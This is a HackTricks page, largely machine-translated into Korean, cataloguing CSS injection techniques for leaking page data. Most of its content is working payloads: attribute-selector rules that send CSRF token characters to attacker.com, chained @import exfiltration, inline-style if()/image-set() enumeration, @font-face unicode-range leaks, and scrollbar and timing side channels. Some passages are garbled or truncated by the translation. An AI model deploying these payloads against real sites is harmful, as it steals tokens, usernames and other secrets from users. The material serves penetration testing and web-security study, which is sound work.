CSS Injection

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

CSS Injection

LESS Code Injection

LESS는 변수, mixin, 함수와 강력한 @import 지시자를 추가하는 인기 있는 CSS 전처리기입니다. 컴파일 과정에서 LESS 엔진은 @import 문에서 참조된 리소스를 가져오고 (inline) 옵션이 사용될 때 그 내용을 결과 CSS에 인라인으로 삽입합니다.

{{#ref}} less-code-injection.md {{/ref}}

Attribute Selector

CSS selectors는 input 요소의 name 및 value 속성 값과 일치하도록 작성됩니다. 만약 input 요소의 value 속성이 특정 문자로 시작하면, 미리 정의된 외부 리소스가 로드됩니다:

input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}

하지만 이 방법은 hidden input 요소 (type=“hidden”)를 다룰 때 제한이 있습니다. 숨겨진 요소는 배경을 로드하지 않기 때문입니다.

숨겨진 요소 우회

이 제한을 우회하려면 ~ general sibling combinator를 사용해 이후의 형제 요소를 타깃할 수 있습니다. 그러면 CSS 규칙이 hidden input 요소 뒤에 오는 모든 형제 요소에 적용되어 배경 이미지가 로드됩니다:

input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

이 기술을 악용한 실전 예시는 제공된 코드 스니펫에 자세히 설명되어 있습니다. You can view it here.

CSS Injection의 사전 요구사항

For the CSS Injection technique to be effective, certain conditions must be met:

  1. Payload Length: CSS Injection 벡터는 조작된 선택자들을 담을 수 있을 만큼 충분히 긴 payload를 지원해야 합니다.
  2. CSS Re-evaluation: 페이지를 iframe으로 로드할 수 있는 능력이 있어야 하며, 이는 새로 생성된 payload로 CSS의 재평가를 트리거하는 데 필요합니다.
  3. External Resources: 이 기법은 외부에 호스팅된 이미지를 사용할 수 있는 것을 전제로 합니다. 이는 사이트의 Content Security Policy (CSP)에 의해 제한될 수 있습니다.

Blind Attribute Selector

As explained in this post, 선택자 :has:not을 결합하면 내용을 볼 수 없는 요소(블라인드 요소)에서도 콘텐츠를 식별할 수 있습니다. 이는 CSS injection을 로드하는 웹 페이지 내부에 무엇이 있는지 전혀 모를 때 매우 유용합니다.\
동일한 유형의 여러 블록에서 정보를 추출하는 데에도 해당 선택자들을 사용할 수 있습니다. 다음과 같이:

<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />

이것을 다음의 @import 기법과 결합하면, blind 페이지에서 CSS injection을 사용해 많은 info를 exfiltrate할 수 있습니다 blind-css-exfiltration.

@import

이전 기법에는 몇 가지 단점이 있으니, prerequisites를 확인하세요. 당신은 피해자에게 여러 링크를 보낼 수 있어야 하거나, 또는 CSS injection 취약 페이지를 iframe할 수 있어야 합니다.

그러나, 기술의 품질을 향상시키기 위해 CSS @import 를 사용하는 또 다른 영리한 기법이 있습니다.

이것은 처음으로 Pepe Vila 가 보여줬으며, 방식은 다음과 같습니다:

이전처럼 동일한 페이지를 매번 수십 개의 서로 다른 payload로 반복해서 로드하는 대신 (이전 사례처럼), 우리는 페이지를 한 번만 로드하고 load the page just once and just with an import to the attackers server (이것이 피해자에게 보낼 payload입니다):

@import url("//attacker.com:5001/start?");
  1. import는 공격자로부터 일부 CSS 스크립트를 수신하고 브라우저가 이를 로드합니다.
  2. 공격자가 보낼 CSS 스크립트의 첫 번째 부분은 다시 공격자 서버로의 또 다른 @import입니다.
  3. 공격자 서버는 아직 이 요청에 응답하지 않을 것입니다. 우리는 몇 개의 문자를 leak한 후 이 import에 대해 다음 문자들을 leak하기 위한 payload로 응답하기를 원하기 때문입니다.
  4. payload의 두 번째이자 더 큰 부분은 attribute selector leakage payload가 될 것입니다
  5. 이것은 공격자 서버로 비밀의 첫 번째 문자와 마지막 문자를 전송할 것입니다
  6. 공격자 서버가 비밀의 첫 번째와 마지막 문자를 수신하면, 2단계에서 요청된 import에 응답할 것입니다.
  7. 응답은 2, 3, 4단계와 정확히 동일할 것이지만, 이번에는 비밀의 두 번째 문자와 끝에서 두 번째 문자를 찾으려고 할 것입니다.

공격자는 f그 루프를 따라가며 비밀을 완전히 leak할 때까지 진행합니다.

You can find the original Pepe Vila’s code to exploit this here or you can find almost the same code but commented here.

Tip

The script will try to discover 2 chars each time (from the beginning and from the end) because the attribute selector allows to do things like:

css /* value^= to match the beggining of the value*/ input[value^=“0”] { –s0: url(http://localhost:5001/leak?pre=0); }

/* value$= to match the ending of the value*/ input[value$=“f”] { –e0: url(http://localhost:5001/leak?post=f); }

This allows the script to leak the secret faster.

Warning

Sometimes the script doesn’t detect correctly that the prefix + suffix discovered is already the complete flag and it will continue forwards (in the prefix) and backwards (in the suffix) and at some point it will hang.
No worries, just check the 출력 because you can see the flag there.

Inline-Style CSS Exfiltration (attr() + if() + image-set())

This primitive enables exfiltration using only an element’s inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.

Warning

Equality comparisons in if() require double quotes for string literals. Single quotes will not match.

  • Sink: control an element’s style attribute and ensure the target attribute is on the same element (attr() reads only same-element attributes).
  • Read: copy the attribute into a CSS variable: –val: attr(title).
  • Decide: select a URL using nested conditionals comparing the variable with string candidates: –steal: if(style(–val:“1”): url(//attacker/1); else: url(//attacker/2)).
  • Exfiltrate: apply background: image-set(var(–steal)) (or any fetching property) to force a request to the chosen endpoint.

Attempt (does not work; single quotes in comparison):

<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>

작동하는 payload (비교 시 쌍따옴표 필요):

<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>

중첩된 조건문을 사용한 속성 값 열거:

<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>

현실적인 데모 (사용자 이름 탐색):

<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>

Notes and limitations:

  • 연구 시점에는 Chromium 기반 브라우저에서 작동함; 다른 엔진에서는 동작이 다를 수 있음.
  • 유한/열거 가능한 값 공간(IDs, flags, 짧은 사용자명 등)에 가장 적합. 외부 스타일시트 없이 임의의 긴 문자열을 훔치는 것은 여전히 어려움.
  • URL을 가져오는 모든 CSS 속성은 요청을 트리거하는 데 사용될 수 있음 (예: background/image-set, border-image, list-style, cursor, content).

Automation: a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda

Other selectors

DOM 일부에 접근하는 다른 방법(CSS selectors):

  • .class-to-search:nth-child(2): DOM에서 class가 “class-to-search“인 두 번째 항목을 찾음.
  • :empty selector: Used for example in this writeup:

css [role^=“img”][aria-label=“1”]:empty { background-image: url(“YOUR_SERVER_URL?1”); }

참고: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq

전체 목적은 제어되는 엔드포인트에서 커스텀 폰트를 사용하고 텍스트(이 경우, ‘A’)가 지정된 리소스(favicon.ico)를 로드할 수 없을 때에만 이 폰트로 표시되도록 보장하는 것이다.

<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}

#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. 커스텀 폰트 사용:
  • 섹션의
  • 폰트 이름은 poc이며 외부 엔드포인트(http://attacker.com/?leak)에서 가져옵니다.
  • unicode-range 속성은 U+0041로 설정되어 특정 유니코드 문자 ’A’를 타깃팅합니다.
  1. 대체 텍스트가 있는 요소:
  • 섹션에 id="poc0"인 요소가 생성됩니다. 이 요소는 http://192.168.0.1/favicon.ico에서 리소스를 로드하려 합니다.
  • 이 요소의 font-family는
  • 리소스(favicon.ico)를 로드하지 못하면 태그 내부의 대체 콘텐츠(문자 ‘A’)가 표시됩니다.
  • 외부 리소스를 로드할 수 없을 경우 대체 콘텐츠(‘A’)는 커스텀 폰트 poc로 렌더링됩니다.

Scroll-to-Text Fragment 스타일링

:target 의사 클래스는 CSS Selectors Level 4 specification에 명시된 대로 URL fragment로 타깃팅된 요소를 선택하는 데 사용됩니다. ::target-text는 프래그먼트가 텍스트를 명시적으로 타깃팅하지 않는 한 어떤 요소도 매칭하지 않는다는 점을 이해하는 것이 중요합니다.

공격자가 Scroll-to-text fragment 기능을 악용하면 보안 문제가 발생합니다. 이를 통해 공격자는 HTML injection을 통해 자신의 서버에서 리소스를 불러와 웹페이지에 특정 텍스트가 존재하는지 확인할 수 있습니다. 이 방법은 다음과 같은 CSS 규칙을 주입하는 것을 포함합니다:

:target::before {
content: url(target.png);
}

이러한 상황에서 페이지에 “Administrator“라는 텍스트가 존재하면, 리소스 target.png가 서버로 요청되어 해당 텍스트의 존재를 나타냅니다. 이 공격의 예는 주입된 CSS와 Scroll-to-text fragment를 함께 포함하는 특수 제작된 URL을 통해 실행될 수 있습니다:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

여기서는 HTML injection을 조작하여 CSS 코드를 전송하고, Scroll-to-text fragment (#:~:text=Administrator)를 통해 특정 텍스트 “Administrator“를 겨냥합니다. 텍스트가 발견되면 지정된 리소스가 로드되어 공격자에게 그 존재를 무심코 알립니다.

완화 방안으로 다음 사항을 유의해야 합니다:

  1. Constrained STTF Matching: Scroll-to-text Fragment (STTF)은 단어 또는 문장만 매칭하도록 설계되어 있어 임의의 비밀값이나 토큰을 leak할 수 있는 능력이 제한됩니다.
  2. Restriction to Top-level Browsing Contexts: STTF는 최상위 브라우징 컨텍스트에서만 동작하며 iframes 내에서는 작동하지 않으므로, 어떤 exploitation 시도든 사용자에게 더 눈에 띄게 됩니다.
  3. Necessity of User Activation: STTF는 동작을 위해 user-activation gesture가 필요하므로, exploitations는 오직 사용자가 시작한 네비게이션을 통해서만 가능합니다. 이 요구사항은 사용자 상호작용 없이 공격이 자동화될 위험을 상당히 완화합니다. 그럼에도 불구하고 블로그 글의 저자는 social engineering, 널리 사용되는 browser extensions와의 상호작용 등 공격 자동화를 용이하게 할 수 있는 특정 조건과 우회 방법을 지적하고 있습니다.

이러한 메커니즘과 잠재적 취약점에 대한 인식은 웹 보안을 유지하고 이러한 exploitative tactics으로부터 보호하는 데 중요합니다.

For more information check the original report: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

You can check an exploit using this technique for a CTF here.

@font-face / unicode-range

특정 unicode 값에 대해 외부 폰트를 지정할 수 있으며, 해당 unicode 값이 페이지에 존재할 때에만 가져옵니다. 예를 들어:

<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>

<p id="sensitive-information">AB</p>
htm

When you access this page, Chrome and Firefox fetch “?A” and “?B” because text node of sensitive-information contains “A” and “B” characters. But Chrome and Firefox do not fetch “?C” because it does not contain “C”. This means that we have been able to read “A” and “B”.

Text node exfiltration (I): ligatures

참고: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

위에 설명된 기법은 font ligatures를 악용해 노드에서 텍스트를 추출하고 너비 변화를 모니터링하는 방법을 포함합니다. 과정은 여러 단계로 구성됩니다:

  1. Creation of Custom Fonts:
  • SVG fonts는 두 문자 시퀀스를 나타내는 글리프에 큰 너비를 설정하는 horiz-adv-x 속성이 있는 glyph로 제작됩니다.
  • 예제 SVG glyph: , 여기서 “XY“는 두 문자 시퀀스를 나타냅니다.
  • 그런 다음 이 폰트들은 fontforge를 사용해 woff 포맷으로 변환됩니다.
  1. Detection of Width Changes:
  • 텍스트가 줄바꿈되지 않도록 CSS(white-space: nowrap)를 사용하고 스크롤바 스타일을 커스터마이즈합니다.
  • 수평 스크롤바가 특정 스타일로 나타나는 것은 특정 ligature(따라서 특정 문자 시퀀스)가 텍스트에 존재함을 알려주는 지표(oracle)로 작동합니다.
  • 관련된 CSS: css body { white-space: nowrap; } body::-webkit-scrollbar { background: blue; } body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
  1. Exploit Process:
  • Step 1: 두 문자 쌍에 대해 큰 너비를 가지는 폰트를 생성합니다.
  • Step 2: 큰 너비 글리프(문자 쌍용 ligature)가 렌더링될 때를 감지하기 위해 스크롤바 기반 트릭을 사용합니다. 이는 해당 문자 시퀀스의 존재를 나타냅니다.
  • Step 3: ligature가 감지되면, 감지된 쌍을 포함하고 앞이나 뒤에 문자를 추가한 세 문자 시퀀스를 나타내는 새로운 글리프들을 생성합니다.
  • Step 4: 세 문자 ligature의 감지를 수행합니다.
  • Step 5: 이 과정을 반복하여 점진적으로 전체 텍스트를 드러냅니다.
  1. Optimization:
  • 현재 <meta refresh=… 를 사용한 초기화 방법은 최적이 아닙니다.
  • 보다 효율적인 접근 방식은 CSS @import trick을 이용하는 것으로, exploit의 성능을 향상시킬 수 있습니다.

Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)

참고: PoC using Comic Sans by @Cgvwzq & @Terjanq

이 트릭은 이 Slackers thread에서 공개되었습니다. 텍스트 노드에서 사용되는 charset은 브라우저에 설치된 기본 폰트를 사용해 leak될 수 있습니다: 외부 폰트나 커스텀 폰트가 필요하지 않습니다.

이 개념은 애니메이션을 사용해서 div의 너비를 점진적으로 확장시키고, 한 번에 하나의 문자가 텍스트의 ‘suffix’ 부분에서 ‘prefix’ 부분으로 이동하도록 하는 방식에 기반합니다. 이 과정은 텍스트를 효과적으로 두 부분으로 분할합니다:

  1. Prefix: 초기 라인.
  2. Suffix: 이후 라인들.

문자들의 전환 단계는 다음과 같이 보일 것입니다:

C
ADB

CA
DB

CAD
B

CADB

이 전환 동안에는 unicode-range trick을 사용해 각 새 문자가 prefix에 합류할 때 이를 식별합니다. 이는 글꼴을 Comic Sans로 변경함으로써 달성되는데, Comic Sans는 기본 폰트보다 높이가 커서 세로 스크롤바를 유발합니다. 이 스크롤바의 등장으로 prefix에 새 문자가 있음을 간접적으로 알 수 있습니다.

비록 이 방법으로 고유한 문자가 나타날 때 이를 감지할 수 있지만, 어떤 문자가 반복되는지까지는 특정하지 못하고 단지 반복이 발생했음을 알 수 있습니다.

Tip

기본적으로, unicode-range is used to detect a char하지만 외부 폰트를 로드하고 싶지 않으므로 다른 방법을 찾아야 합니다.
문자발견되면, 사전 설치된 Comic Sans font할당되어, 문자를 더 크게 만들고 스크롤바를 유발하여 찾은 문자를 leak합니다.

Check the code extracted from the PoC:

/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

Text node exfiltration (III): leaking the charset — 기본 폰트를 사용해 요소를 숨김으로써 (외부 자산 불필요)

참고: 이 내용은 an unsuccessful solution in this writeup에서 언급되어 있습니다.

이 경우는 이전 것과 매우 유사합니다. 다만 여기서는 특정 문자를 다른 것보다 크게 만들어 무언가를 숨기는 것이 목표입니다 — 예를 들어 봇이 누르지 않도록 하는 버튼이나 로드되지 않을 이미지처럼요. 그래서 우리는 그 행동(또는 행동의 부재)을 측정하여 텍스트 안에 특정 문자가 존재하는지 알 수 있습니다.

Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)

참고: 이 내용은 an unsuccessful solution in this writeup에서 언급되어 있습니다.

이 경우에는 같은 출처에서 fake font를 로드하여 텍스트에 특정 문자가 있는지를 leak 해보는 방법을 시도할 수 있습니다:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

일치하는 항목이 있다면, font will be loaded from /static/bootstrap.min.css?q=1. 비록 성공적으로 로드되지는 않겠지만, 브라우저가 캐시해야 합니다, 그리고 캐시가 없더라도 304 not modified 메커니즘이 있으므로, 응답이 다른 것들보다 빨라야 합니다.

하지만 캐시된 응답과 비캐시 응답의 시간 차이가 충분히 크지 않다면, 이것은 유용하지 않습니다. 예를 들어, 저자는 언급합니다: However, after testing, I found that the first problem is that the speed is not much different, and the second problem is that the bot uses the disk-cache-size=1 flag, which is really thoughtful.

Text node exfiltration (III): leaking the charset by timing loading hundreds of local “fonts” (not requiring external assets)

참고: This is mentioned as an unsuccessful solution in this writeup

이 경우 일치가 발생할 때 동일 출처에서 수백 개의 가짜 “fonts“를 로드하도록 CSS를 지정할 수 있습니다. 이렇게 하면 걸리는 시간을 측정하여 해당 문자가 나타나는지 여부를 다음과 같은 방식으로 알아낼 수 있습니다:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

그리고 봇의 코드는 다음과 같습니다:

browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

따라서 폰트가 일치하지 않으면 봇에 접속했을 때 응답 시간은 대략 30초 정도로 예상됩니다. 반면 폰트가 일치하면 폰트를 가져오기 위해 여러 요청이 전송되어 네트워크에 지속적인 활동이 발생합니다. 그 결과 stop condition을 만족하고 응답을 받기까지 더 오래 걸리게 됩니다. 따라서 응답 시간은 폰트 일치 여부를 판단하는 지표로 사용할 수 있습니다.

References

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기